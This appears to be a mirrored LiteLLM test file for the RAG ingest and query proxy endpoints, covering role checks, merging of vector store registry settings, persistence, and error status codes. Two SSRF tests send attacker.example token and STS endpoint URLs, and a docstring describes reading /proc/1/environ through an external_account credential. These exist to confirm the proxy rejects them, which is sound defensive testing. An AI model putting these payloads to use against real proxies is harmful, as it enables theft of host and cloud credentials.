mirror of
https://github.com/BerriAI/litellm.git
synced 2026-10-02 02:11:58 +00:00
* test(proxy): move utils, agent_endpoints and endpoint tests into tests/unit/proxy Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com> * test(proxy): package moved unit test directories Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com> * test(proxy): exclude proxy-db-owned files from the misc target Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com> * test(proxy): drop the redundant fixture docstrings in the proxy conftest Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com> --------- Co-authored-by: yuneng <yuneng@berri.ai> Co-authored-by: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
1176 lines
47 KiB
Python
1176 lines
47 KiB
Python
"""
|
|
Tests for RAG proxy endpoints.
|
|
|
|
Covers:
|
|
- internal_user_viewer restriction: can only ingest to existing vector stores (must provide vector_store_id)
|
|
"""
|
|
|
|
import io
|
|
import json
|
|
from unittest.mock import AsyncMock, MagicMock, patch
|
|
|
|
import pytest
|
|
from fastapi.testclient import TestClient
|
|
|
|
import litellm
|
|
from litellm.proxy._types import LitellmUserRoles, UserAPIKeyAuth
|
|
from litellm.proxy.auth.user_api_key_auth import user_api_key_auth
|
|
from litellm.proxy.proxy_server import app
|
|
|
|
|
|
@pytest.fixture
|
|
def client_internal_user_viewer():
|
|
"""Test client with internal_user_viewer auth."""
|
|
mock_auth = UserAPIKeyAuth(
|
|
user_id="test_viewer_user",
|
|
user_role=LitellmUserRoles.INTERNAL_USER_VIEW_ONLY.value,
|
|
)
|
|
original_overrides = app.dependency_overrides.copy()
|
|
app.dependency_overrides[user_api_key_auth] = lambda: mock_auth
|
|
try:
|
|
yield TestClient(app)
|
|
finally:
|
|
app.dependency_overrides = original_overrides
|
|
|
|
|
|
@pytest.fixture
|
|
def client_internal_user():
|
|
"""Test client with internal_user auth (can create new vector stores)."""
|
|
mock_auth = UserAPIKeyAuth(
|
|
user_id="test_internal_user",
|
|
user_role=LitellmUserRoles.INTERNAL_USER.value,
|
|
)
|
|
original_overrides = app.dependency_overrides.copy()
|
|
app.dependency_overrides[user_api_key_auth] = lambda: mock_auth
|
|
try:
|
|
yield TestClient(app)
|
|
finally:
|
|
app.dependency_overrides = original_overrides
|
|
|
|
|
|
def test_internal_user_viewer_rag_ingest_without_vector_store_id_rejected(
|
|
client_internal_user_viewer,
|
|
):
|
|
"""
|
|
internal_user_viewer cannot create new vector stores - must provide vector_store_id.
|
|
"""
|
|
# Form upload without vector_store_id (would create new store)
|
|
response = client_internal_user_viewer.post(
|
|
"/v1/rag/ingest",
|
|
files={"file": ("sample.txt", io.BytesIO(b"test content"), "text/plain")},
|
|
data={
|
|
"request": '{"ingest_options":{"vector_store":{"custom_llm_provider":"openai"}}}'
|
|
},
|
|
)
|
|
|
|
assert response.status_code == 403
|
|
detail = response.json()
|
|
assert "detail" in detail
|
|
error_msg = (
|
|
detail["detail"]["error"]
|
|
if isinstance(detail["detail"], dict)
|
|
else str(detail["detail"])
|
|
)
|
|
assert "internal_user_viewer" in error_msg
|
|
assert "vector_store_id" in error_msg
|
|
|
|
|
|
def test_internal_user_viewer_rag_ingest_with_vector_store_id_passes_check(
|
|
client_internal_user_viewer,
|
|
):
|
|
"""
|
|
internal_user_viewer with vector_store_id passes the role check.
|
|
(Actual ingest may fail due to missing API keys, but we get past 403.)
|
|
"""
|
|
with patch(
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aingest",
|
|
new_callable=AsyncMock,
|
|
return_value={"vector_store_id": "vs_existing", "file_id": "file_123"},
|
|
):
|
|
response = client_internal_user_viewer.post(
|
|
"/v1/rag/ingest",
|
|
files={"file": ("sample.txt", io.BytesIO(b"test content"), "text/plain")},
|
|
data={
|
|
"request": '{"ingest_options":{"vector_store":{"custom_llm_provider":"openai","vector_store_id":"vs_699651f6b6688191b0a210c00a686d20"}}}'
|
|
},
|
|
)
|
|
|
|
# Should not be 403 (role check passed)
|
|
assert response.status_code != 403, (
|
|
f"internal_user_viewer with vector_store_id should pass role check. "
|
|
f"Response: {response.json()}"
|
|
)
|
|
|
|
|
|
def test_internal_user_rag_ingest_without_vector_store_id_allowed(client_internal_user):
|
|
"""
|
|
internal_user can create new vector stores (no vector_store_id required).
|
|
"""
|
|
with patch(
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aingest",
|
|
new_callable=AsyncMock,
|
|
return_value={"vector_store_id": "vs_new", "file_id": "file_123"},
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
files={"file": ("sample.txt", io.BytesIO(b"test content"), "text/plain")},
|
|
data={
|
|
"request": '{"ingest_options":{"vector_store":{"custom_llm_provider":"openai"}}}'
|
|
},
|
|
)
|
|
|
|
# Should not be 403
|
|
assert response.status_code != 403, (
|
|
f"internal_user should be allowed to create new vector stores. "
|
|
f"Response: {response.json()}"
|
|
)
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"blocked_field",
|
|
[
|
|
"vertex_credentials",
|
|
"vertex_ai_credentials",
|
|
"aws_access_key_id",
|
|
"aws_secret_access_key",
|
|
"aws_session_token",
|
|
"api_key",
|
|
"api_base",
|
|
],
|
|
)
|
|
def test_rag_ingest_blocks_clientside_credentials(client_internal_user, blocked_field):
|
|
"""
|
|
Credential fields in ingest_options.vector_store must be rejected.
|
|
|
|
Accepting user-supplied credentials (e.g. vertex_credentials with
|
|
type=external_account + credential_source.file=/proc/1/environ) allows
|
|
any authenticated user to exfiltrate host secrets via SSRF through
|
|
google-auth's identity_pool credential refresh.
|
|
"""
|
|
payload = {
|
|
"ingest_options": {
|
|
"vector_store": {
|
|
"custom_llm_provider": "vertex_ai",
|
|
"vertex_project": "x",
|
|
blocked_field: {
|
|
"type": "external_account",
|
|
"token_url": "http://attacker.example/sts",
|
|
},
|
|
}
|
|
}
|
|
}
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
json={
|
|
**payload,
|
|
"file": {
|
|
"filename": "q.txt",
|
|
"content": "dGVzdA==",
|
|
"content_type": "text/plain",
|
|
},
|
|
},
|
|
)
|
|
assert (
|
|
response.status_code == 400
|
|
), f"Expected 400 when '{blocked_field}' is set clientside, got {response.status_code}: {response.json()}"
|
|
body = response.json()
|
|
assert blocked_field in str(
|
|
body
|
|
), f"Response should mention '{blocked_field}': {body}"
|
|
class TestRagIngestSSRFBlocked:
|
|
"""
|
|
aws_sts_endpoint and related credential-redirect fields must be rejected
|
|
in ingest_options.vector_store. Without this guard, any authenticated
|
|
client can coerce the proxy to make a signed STS AssumeRole call to an
|
|
attacker-controlled server, leaking the instance profile credentials.
|
|
"""
|
|
|
|
@pytest.mark.parametrize(
|
|
"field,value",
|
|
[
|
|
("aws_sts_endpoint", "https://attacker.example/sts"),
|
|
("aws_web_identity_token", "fake-token"),
|
|
("aws_bedrock_runtime_endpoint", "https://attacker.example/bedrock"),
|
|
],
|
|
)
|
|
def test_ssrf_field_in_vector_store_config_rejected(
|
|
self, field, value, client_internal_user
|
|
):
|
|
payload = {
|
|
"file_url": "https://example.com/doc.pdf",
|
|
"ingest_options": {
|
|
"vector_store": {
|
|
"custom_llm_provider": "bedrock",
|
|
field: value,
|
|
}
|
|
},
|
|
}
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
json=payload,
|
|
)
|
|
assert response.status_code == 400, (
|
|
f"{field} in ingest_options.vector_store should be rejected (400), "
|
|
f"got {response.status_code}: {response.json()}"
|
|
)
|
|
body = response.json()
|
|
detail = body.get("detail", {})
|
|
error_text = (
|
|
detail.get("error", "") if isinstance(detail, dict) else str(detail)
|
|
)
|
|
assert field in error_text, f"Error should name the offending field: {error_text}"
|
|
|
|
def test_clean_bedrock_ingest_options_not_rejected(self, client_internal_user):
|
|
with patch(
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aingest",
|
|
new_callable=AsyncMock,
|
|
return_value={"vector_store_id": "vs_bedrock", "file_id": "file_123"},
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
json={
|
|
"file_url": "https://example.com/doc.pdf",
|
|
"ingest_options": {
|
|
"vector_store": {"custom_llm_provider": "bedrock"}
|
|
},
|
|
},
|
|
)
|
|
assert response.status_code != 400, (
|
|
f"Clean Bedrock ingest_options should not be rejected: {response.json()}"
|
|
)
|
|
|
|
|
|
S3_REGISTRY_STORE = {
|
|
"vector_store_id": "s3-store",
|
|
"custom_llm_provider": "s3_vectors",
|
|
"litellm_params": {"aws_region_name": "eu-west-1", "vector_bucket_name": "bkt", "index_name": "docs"},
|
|
}
|
|
DB_MANAGED_STORE = {
|
|
"vector_store_id": "db-store",
|
|
"custom_llm_provider": "openai",
|
|
"litellm_credential_name": None,
|
|
"litellm_params": {"ttl_days": 7},
|
|
}
|
|
AZURE_REGISTRY_STORE = {
|
|
"vector_store_id": "my-azure-index",
|
|
"custom_llm_provider": "azure_ai",
|
|
"litellm_params": {
|
|
"api_key": "azure-search-key",
|
|
"api_base": "https://search.example.net",
|
|
"api_version": "2024-07-01",
|
|
},
|
|
}
|
|
BEDROCK_REGISTRY_STORE = {
|
|
"vector_store_id": "kb-store",
|
|
"custom_llm_provider": "bedrock",
|
|
"litellm_params": {
|
|
"aws_region_name": "eu-west-1",
|
|
"aws_access_key_id": "AKIA-registry",
|
|
"aws_secret_access_key": "registry-secret",
|
|
},
|
|
}
|
|
CREDENTIALED_REGISTRY_STORE = {
|
|
"vector_store_id": "cred-store",
|
|
"custom_llm_provider": "openai",
|
|
"litellm_credential_name": "registry-openai",
|
|
"litellm_params": {},
|
|
}
|
|
VERTEX_REGISTRY_STORE = {
|
|
"vector_store_id": "projects/registry-project/locations/us-central1/ragCorpora/42",
|
|
"custom_llm_provider": "vertex_ai",
|
|
"litellm_params": {"vertex_project": "registry-project", "vertex_location": "us-central1"},
|
|
}
|
|
UNSUPPORTED_INGEST_PROVIDER_ERROR = (
|
|
"Provider '{provider}' is not supported for RAG ingestion. "
|
|
"Supported providers: openai, bedrock, gemini, s3_vectors, vertex_ai"
|
|
)
|
|
|
|
|
|
def _registry_with(store):
|
|
registry = MagicMock()
|
|
registry.get_litellm_managed_vector_store_from_registry.return_value = store
|
|
return registry
|
|
|
|
|
|
def _ingest_form(vector_store):
|
|
return {
|
|
"files": {"file": ("sample.txt", io.BytesIO(b"test content"), "text/plain")},
|
|
"data": {"request": json.dumps({"ingest_options": {"vector_store": vector_store}})},
|
|
}
|
|
|
|
|
|
def _patched_ingest_boundary(registry_store, aingest_response):
|
|
return (
|
|
patch( # test-quality-ok: aingest is the endpoint's downstream boundary; tests assert the forwarded options
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aingest",
|
|
new=AsyncMock(return_value=aingest_response),
|
|
),
|
|
patch.object( # test-quality-ok: seeds the managed-store registry the merge under test reads
|
|
litellm,
|
|
"vector_store_registry",
|
|
_registry_with(registry_store),
|
|
),
|
|
)
|
|
|
|
|
|
def _patched_prisma_client(prisma_client):
|
|
return patch( # test-quality-ok: proxy module global, no injection seam
|
|
"litellm.proxy.proxy_server.prisma_client",
|
|
prisma_client,
|
|
)
|
|
|
|
|
|
def test_rag_ingest_resolves_registry_store_provider_and_params(client_internal_user):
|
|
aingest_patch, registry_patch = _patched_ingest_boundary(
|
|
S3_REGISTRY_STORE, {"vector_store_id": "s3-store", "file_id": "file_123"}
|
|
)
|
|
with (
|
|
aingest_patch as mock_aingest,
|
|
registry_patch,
|
|
_patched_prisma_client(None),
|
|
):
|
|
response = client_internal_user.post("/v1/rag/ingest", **_ingest_form({"vector_store_id": "s3-store"}))
|
|
|
|
assert response.status_code == 200, response.json()
|
|
mock_aingest.assert_awaited_once()
|
|
forwarded = mock_aingest.await_args.kwargs["ingest_options"]["vector_store"]
|
|
assert forwarded["vector_store_id"] == "s3-store"
|
|
assert forwarded["custom_llm_provider"] == "s3_vectors"
|
|
assert forwarded["aws_region_name"] == "eu-west-1"
|
|
assert forwarded["vector_bucket_name"] == "bkt"
|
|
assert forwarded["index_name"] == "docs"
|
|
|
|
|
|
def test_rag_ingest_registry_store_wins_over_request_provider_and_params(client_internal_user):
|
|
aingest_patch, registry_patch = _patched_ingest_boundary(
|
|
S3_REGISTRY_STORE, {"vector_store_id": "s3-store", "file_id": "file_123"}
|
|
)
|
|
with (
|
|
aingest_patch as mock_aingest,
|
|
registry_patch,
|
|
_patched_prisma_client(None),
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
**_ingest_form(
|
|
{"vector_store_id": "s3-store", "custom_llm_provider": "openai", "aws_region_name": "us-east-1"}
|
|
),
|
|
)
|
|
|
|
assert response.status_code == 200, response.json()
|
|
forwarded = mock_aingest.await_args.kwargs["ingest_options"]["vector_store"]
|
|
assert forwarded["custom_llm_provider"] == "s3_vectors"
|
|
assert forwarded["aws_region_name"] == "eu-west-1"
|
|
|
|
|
|
def test_rag_ingest_registry_store_drops_caller_destinations_and_keeps_upload_options(client_internal_user):
|
|
aingest_patch, registry_patch = _patched_ingest_boundary(
|
|
BEDROCK_REGISTRY_STORE, {"vector_store_id": "kb-store", "file_id": "file_123"}
|
|
)
|
|
with (
|
|
aingest_patch as mock_aingest,
|
|
registry_patch,
|
|
_patched_prisma_client(None),
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
**_ingest_form(
|
|
{
|
|
"vector_store_id": "kb-store",
|
|
"s3_bucket": "someone-elses-bucket",
|
|
"s3_prefix": "other-kb/",
|
|
"vector_bucket_name": "someone-elses-vectors",
|
|
"index_name": "other-index",
|
|
"vertex_project": "other-project",
|
|
"data_source_id": "DS2",
|
|
"wait_for_ingestion": True,
|
|
"ingestion_timeout": 60,
|
|
}
|
|
),
|
|
)
|
|
|
|
assert response.status_code == 200, response.json()
|
|
forwarded = mock_aingest.await_args.kwargs["ingest_options"]["vector_store"]
|
|
assert forwarded == {
|
|
"vector_store_id": "kb-store",
|
|
"custom_llm_provider": "bedrock",
|
|
"aws_region_name": "eu-west-1",
|
|
"aws_access_key_id": "AKIA-registry",
|
|
"aws_secret_access_key": "registry-secret",
|
|
"data_source_id": "DS2",
|
|
"wait_for_ingestion": True,
|
|
"ingestion_timeout": 60,
|
|
}
|
|
|
|
|
|
def test_rag_ingest_unmanaged_store_keeps_the_callers_full_config(client_internal_user):
|
|
caller_config = {
|
|
"vector_store_id": "KB-unmanaged",
|
|
"custom_llm_provider": "bedrock",
|
|
"s3_bucket": "callers-bucket",
|
|
"s3_prefix": "docs/",
|
|
}
|
|
aingest_patch, registry_patch = _patched_ingest_boundary(
|
|
None, {"vector_store_id": "KB-unmanaged", "file_id": "file_123"}
|
|
)
|
|
with (
|
|
aingest_patch as mock_aingest,
|
|
registry_patch,
|
|
_patched_prisma_client(None),
|
|
):
|
|
response = client_internal_user.post("/v1/rag/ingest", **_ingest_form(caller_config))
|
|
|
|
assert response.status_code == 200, response.json()
|
|
assert mock_aingest.await_args.kwargs["ingest_options"]["vector_store"] == caller_config
|
|
|
|
|
|
def test_rag_ingest_db_managed_store_drops_the_callers_credential_name(client_internal_user):
|
|
aingest_patch, registry_patch = _patched_ingest_boundary(
|
|
DB_MANAGED_STORE, {"vector_store_id": "db-store", "file_id": "file_123"}
|
|
)
|
|
with (
|
|
aingest_patch as mock_aingest,
|
|
registry_patch,
|
|
_patched_prisma_client(None),
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
**_ingest_form({"vector_store_id": "db-store", "litellm_credential_name": "team-openai"}),
|
|
)
|
|
|
|
assert response.status_code == 200, response.json()
|
|
forwarded = mock_aingest.await_args.kwargs["ingest_options"]["vector_store"]
|
|
assert "litellm_credential_name" not in forwarded
|
|
assert forwarded["custom_llm_provider"] == "openai"
|
|
assert forwarded["ttl_days"] == 7
|
|
|
|
|
|
def test_rag_ingest_registry_store_credential_name_beats_the_callers(client_internal_user):
|
|
aingest_patch, registry_patch = _patched_ingest_boundary(
|
|
CREDENTIALED_REGISTRY_STORE, {"vector_store_id": "cred-store", "file_id": "file_123"}
|
|
)
|
|
with (
|
|
aingest_patch as mock_aingest,
|
|
registry_patch,
|
|
_patched_prisma_client(None),
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
**_ingest_form({"vector_store_id": "cred-store", "litellm_credential_name": "team-openai"}),
|
|
)
|
|
|
|
assert response.status_code == 200, response.json()
|
|
forwarded = mock_aingest.await_args.kwargs["ingest_options"]["vector_store"]
|
|
assert forwarded["litellm_credential_name"] == "registry-openai"
|
|
|
|
|
|
def test_rag_ingest_registry_store_keeps_the_callers_vertex_embedding_throttle(client_internal_user):
|
|
aingest_patch, registry_patch = _patched_ingest_boundary(
|
|
VERTEX_REGISTRY_STORE, {"vector_store_id": VERTEX_REGISTRY_STORE["vector_store_id"], "file_id": "file_123"}
|
|
)
|
|
with (
|
|
aingest_patch as mock_aingest,
|
|
registry_patch,
|
|
_patched_prisma_client(None),
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
**_ingest_form(
|
|
{
|
|
"vector_store_id": VERTEX_REGISTRY_STORE["vector_store_id"],
|
|
"max_embedding_requests_per_min": 500,
|
|
"vector_db_config": {"pinecone": {"index_name": "attacker-index"}},
|
|
}
|
|
),
|
|
)
|
|
|
|
assert response.status_code == 200, response.json()
|
|
assert mock_aingest.await_args.kwargs["ingest_options"]["vector_store"] == {
|
|
"vector_store_id": VERTEX_REGISTRY_STORE["vector_store_id"],
|
|
"custom_llm_provider": "vertex_ai",
|
|
"vertex_project": "registry-project",
|
|
"vertex_location": "us-central1",
|
|
"max_embedding_requests_per_min": 500,
|
|
}
|
|
|
|
|
|
def test_rag_ingest_rejects_registry_store_provider_without_ingestion_support(client_internal_user):
|
|
aingest_patch, registry_patch = _patched_ingest_boundary(
|
|
AZURE_REGISTRY_STORE, {"vector_store_id": "my-azure-index", "file_id": "file_123"}
|
|
)
|
|
with (
|
|
aingest_patch as mock_aingest,
|
|
registry_patch,
|
|
_patched_prisma_client(None),
|
|
):
|
|
response = client_internal_user.post("/v1/rag/ingest", **_ingest_form({"vector_store_id": "my-azure-index"}))
|
|
|
|
assert response.status_code == 400, response.json()
|
|
assert response.json()["detail"]["error"] == UNSUPPORTED_INGEST_PROVIDER_ERROR.format(provider="azure_ai")
|
|
mock_aingest.assert_not_awaited()
|
|
|
|
|
|
def test_rag_ingest_rejects_request_provider_without_ingestion_support(client_internal_user):
|
|
with (
|
|
patch( # test-quality-ok: aingest is the endpoint's downstream boundary; the test asserts it is never reached
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aingest",
|
|
new=AsyncMock(return_value={"vector_store_id": "vs_new", "file_id": "file-test"}),
|
|
) as mock_aingest,
|
|
patch("litellm.vector_store_registry", None), # test-quality-ok: proxy module global, no injection seam
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
json={"file_id": "file-test", "ingest_options": {"vector_store": {"custom_llm_provider": "milvus"}}},
|
|
)
|
|
|
|
assert response.status_code == 400, response.json()
|
|
assert response.json() == {"detail": {"error": UNSUPPORTED_INGEST_PROVIDER_ERROR.format(provider="milvus")}}
|
|
mock_aingest.assert_not_awaited()
|
|
|
|
|
|
def test_rag_ingest_rejects_non_string_provider(client_internal_user):
|
|
with (
|
|
patch( # test-quality-ok: aingest is the endpoint's downstream boundary; the test asserts it is never reached
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aingest",
|
|
new=AsyncMock(return_value={"vector_store_id": "vs_new", "file_id": "file-test"}),
|
|
) as mock_aingest,
|
|
patch("litellm.vector_store_registry", None), # test-quality-ok: proxy module global, no injection seam
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
json={
|
|
"file_id": "file-test",
|
|
"ingest_options": {"vector_store": {"custom_llm_provider": {"provider": "milvus"}}},
|
|
},
|
|
)
|
|
|
|
assert response.status_code == 400, response.json()
|
|
assert response.json() == {"detail": {"error": "custom_llm_provider must be a string"}}
|
|
mock_aingest.assert_not_awaited()
|
|
|
|
|
|
def test_rag_ingest_never_creates_db_row_for_registry_store(client_internal_user):
|
|
prisma_client = MagicMock()
|
|
prisma_client.db.litellm_managedvectorstorestable.find_unique = AsyncMock(return_value=None)
|
|
create_in_db = AsyncMock()
|
|
aingest_patch, registry_patch = _patched_ingest_boundary(
|
|
S3_REGISTRY_STORE, {"vector_store_id": "s3-store", "file_id": "file_123"}
|
|
)
|
|
with (
|
|
aingest_patch,
|
|
registry_patch,
|
|
_patched_prisma_client(prisma_client),
|
|
patch( # test-quality-ok: the DB write boundary the guard under test must never reach
|
|
"litellm.proxy.vector_store_endpoints.management_endpoints.create_vector_store_in_db",
|
|
new=create_in_db,
|
|
),
|
|
):
|
|
response = client_internal_user.post("/v1/rag/ingest", **_ingest_form({"vector_store_id": "s3-store"}))
|
|
|
|
assert response.status_code == 200, response.json()
|
|
prisma_client.db.litellm_managedvectorstorestable.find_unique.assert_awaited_once()
|
|
create_in_db.assert_not_awaited()
|
|
prisma_client.db.litellm_managedvectorstorestable.update.assert_not_called()
|
|
|
|
|
|
def test_rag_ingest_fresh_store_creates_db_row_with_the_requesters_params(client_internal_user):
|
|
prisma_client = MagicMock()
|
|
prisma_client.db.litellm_managedvectorstorestable.find_unique = AsyncMock(return_value=None)
|
|
create_in_db = AsyncMock()
|
|
with (
|
|
patch( # test-quality-ok: aingest is the endpoint's downstream boundary; persistence is what the test asserts
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aingest",
|
|
new=AsyncMock(return_value={"vector_store_id": "vs_new", "file_id": "file_123"}),
|
|
),
|
|
patch("litellm.vector_store_registry", None), # test-quality-ok: proxy module global, no injection seam
|
|
_patched_prisma_client(prisma_client),
|
|
patch( # test-quality-ok: the DB write boundary whose inputs the test asserts
|
|
"litellm.proxy.vector_store_endpoints.management_endpoints.create_vector_store_in_db",
|
|
new=create_in_db,
|
|
),
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
**_ingest_form({"custom_llm_provider": "bedrock", "aws_region_name": "us-east-1"}),
|
|
)
|
|
|
|
assert response.status_code == 200, response.json()
|
|
create_in_db.assert_awaited_once()
|
|
created = create_in_db.await_args.kwargs
|
|
assert created["vector_store_id"] == "vs_new"
|
|
assert created["custom_llm_provider"] == "bedrock"
|
|
assert created["litellm_params"] == {"aws_region_name": "us-east-1"}
|
|
|
|
|
|
def test_rag_ingest_hands_persistence_the_requesters_options_not_registry_credentials(client_internal_user):
|
|
save_helper = AsyncMock()
|
|
aingest_patch, registry_patch = _patched_ingest_boundary(
|
|
BEDROCK_REGISTRY_STORE, {"vector_store_id": "kb-store", "file_id": "file_123"}
|
|
)
|
|
with (
|
|
aingest_patch as mock_aingest,
|
|
registry_patch,
|
|
_patched_prisma_client(MagicMock()),
|
|
patch( # test-quality-ok: the persistence seam whose inputs the test asserts
|
|
"litellm.proxy.rag_endpoints.endpoints._save_vector_store_to_db_from_rag_ingest",
|
|
new=save_helper,
|
|
),
|
|
):
|
|
response = client_internal_user.post("/v1/rag/ingest", **_ingest_form({"vector_store_id": "kb-store"}))
|
|
|
|
assert response.status_code == 200, response.json()
|
|
forwarded = mock_aingest.await_args.kwargs["ingest_options"]["vector_store"]
|
|
assert forwarded["aws_secret_access_key"] == "registry-secret"
|
|
save_helper.assert_awaited_once()
|
|
assert save_helper.await_args.kwargs["ingest_options"]["vector_store"] == {"vector_store_id": "kb-store"}
|
|
assert save_helper.await_args.kwargs["store_is_managed"] is True
|
|
|
|
|
|
async def test_save_vector_store_from_rag_ingest_appends_file_to_db_managed_store():
|
|
from litellm.proxy.rag_endpoints.endpoints import _save_vector_store_to_db_from_rag_ingest
|
|
|
|
existing_row = MagicMock()
|
|
existing_row.vector_store_metadata = {"ingested_files": [{"file_id": "file_old"}]}
|
|
prisma_client = MagicMock()
|
|
table = prisma_client.db.litellm_managedvectorstorestable
|
|
table.find_unique = AsyncMock(return_value=existing_row)
|
|
table.update = AsyncMock()
|
|
create_in_db = AsyncMock()
|
|
|
|
with patch( # test-quality-ok: the DB write boundary the append branch must not reach
|
|
"litellm.proxy.vector_store_endpoints.management_endpoints.create_vector_store_in_db",
|
|
new=create_in_db,
|
|
):
|
|
await _save_vector_store_to_db_from_rag_ingest(
|
|
response={"vector_store_id": "vs_db_managed", "file_id": "file_new"},
|
|
ingest_options={"vector_store": {"vector_store_id": "vs_db_managed"}},
|
|
prisma_client=prisma_client,
|
|
user_api_key_dict=UserAPIKeyAuth(user_id="user-1", team_id="team-1"),
|
|
store_is_managed=True,
|
|
)
|
|
|
|
create_in_db.assert_not_awaited()
|
|
table.update.assert_awaited_once()
|
|
stored_metadata = json.loads(table.update.await_args.kwargs["data"]["vector_store_metadata"])
|
|
assert [entry["file_id"] for entry in stored_metadata["ingested_files"]] == ["file_old", "file_new"]
|
|
|
|
|
|
async def test_save_vector_store_from_rag_ingest_still_creates_row_for_fresh_store():
|
|
from litellm.proxy.rag_endpoints.endpoints import _save_vector_store_to_db_from_rag_ingest
|
|
|
|
prisma_client = MagicMock()
|
|
prisma_client.db.litellm_managedvectorstorestable.find_unique = AsyncMock(return_value=None)
|
|
create_in_db = AsyncMock()
|
|
|
|
with patch( # test-quality-ok: the DB write boundary whose inputs the test asserts
|
|
"litellm.proxy.vector_store_endpoints.management_endpoints.create_vector_store_in_db",
|
|
new=create_in_db,
|
|
):
|
|
await _save_vector_store_to_db_from_rag_ingest(
|
|
response={"vector_store_id": "vs_new", "file_id": "file_new"},
|
|
ingest_options={"vector_store": {"custom_llm_provider": "bedrock", "aws_region_name": "us-east-1"}},
|
|
prisma_client=prisma_client,
|
|
user_api_key_dict=UserAPIKeyAuth(user_id="user-1", team_id="team-1"),
|
|
store_is_managed=False,
|
|
)
|
|
|
|
create_in_db.assert_awaited_once()
|
|
created = create_in_db.await_args.kwargs
|
|
assert created["vector_store_id"] == "vs_new"
|
|
assert created["custom_llm_provider"] == "bedrock"
|
|
assert created["litellm_params"] == {"aws_region_name": "us-east-1"}
|
|
assert created["team_id"] == "team-1"
|
|
|
|
|
|
def test_rag_query_returns_response_cost_header(client_internal_user):
|
|
"""
|
|
/v1/rag/query must surface the completion cost via the
|
|
x-litellm-response-cost response header, like /v1/chat/completions does.
|
|
"""
|
|
from litellm.types.utils import ModelResponse
|
|
|
|
mock_response = ModelResponse(
|
|
id="chatcmpl-test",
|
|
choices=[
|
|
{
|
|
"index": 0,
|
|
"message": {"role": "assistant", "content": "The codename is AZURE-FALCON-42."},
|
|
"finish_reason": "stop",
|
|
}
|
|
],
|
|
model="gpt-4o-mini",
|
|
usage={"prompt_tokens": 35, "completion_tokens": 14, "total_tokens": 49},
|
|
)
|
|
mock_response._hidden_params["response_cost"] = 3.45e-06
|
|
|
|
with patch(
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aquery",
|
|
new_callable=AsyncMock,
|
|
return_value=mock_response,
|
|
), patch("litellm.vector_store_registry", None), patch(
|
|
"litellm.proxy.proxy_server.prisma_client", None
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/query",
|
|
json={
|
|
"model": "gpt-4o-mini",
|
|
"messages": [{"role": "user", "content": "What is the codename?"}],
|
|
"retrieval_config": {
|
|
"vector_store_id": "vs_test_123",
|
|
"custom_llm_provider": "openai",
|
|
},
|
|
},
|
|
)
|
|
|
|
assert response.status_code == 200, response.json()
|
|
assert response.headers.get("x-litellm-response-cost") == "3.45e-06"
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
("upstream_error", "expected_status"),
|
|
[
|
|
(litellm.BadRequestError(message="filter andAll needs two clauses", model="kb", llm_provider="bedrock"), 400),
|
|
(litellm.NotFoundError(message="Knowledge Base does not exist", model="kb", llm_provider="bedrock"), 404),
|
|
(RuntimeError("pipeline blew up"), 500),
|
|
],
|
|
)
|
|
def test_rag_query_surfaces_upstream_status_code(client_internal_user, upstream_error, expected_status):
|
|
"""A vector store rejection must reach the caller with its own status code, never a blanket 500."""
|
|
with (
|
|
patch( # test-quality-ok: the handler calls the module-level litellm.aquery directly; no injection seam
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aquery",
|
|
new=AsyncMock(side_effect=upstream_error),
|
|
),
|
|
patch("litellm.vector_store_registry", None), # test-quality-ok: proxy module global, no injection seam
|
|
patch("litellm.proxy.proxy_server.prisma_client", None), # test-quality-ok: proxy module global, no injection seam
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/query",
|
|
json={
|
|
"model": "bedrock/us.anthropic.claude-sonnet-5",
|
|
"messages": [{"role": "user", "content": "How was this document ingested?"}],
|
|
"retrieval_config": {
|
|
"vector_store_id": "L7INRFMVQT",
|
|
"custom_llm_provider": "bedrock",
|
|
"retrieval_filter": {"andAll": [{"equals": {"key": "department", "value": "billing"}}]},
|
|
},
|
|
},
|
|
)
|
|
|
|
assert response.status_code == expected_status, response.text
|
|
assert str(upstream_error) in response.json()["detail"]["error"]
|
|
|
|
|
|
def test_rag_query_stream_returns_event_stream(client_internal_user):
|
|
"""
|
|
A stream=true /v1/rag/query must return an SSE response. Returning the raw
|
|
stream wrapper makes FastAPI try to serialize it, which raises and turns
|
|
every streaming RAG query into a 500; the stream then never drains, so its
|
|
single billing event (which carries the folded sub-call costs) never fires.
|
|
"""
|
|
import litellm as litellm_module
|
|
|
|
async def fake_aquery(**kwargs):
|
|
return await litellm_module.acompletion(
|
|
model="gpt-4o-mini",
|
|
messages=[{"role": "user", "content": "What is the codename?"}],
|
|
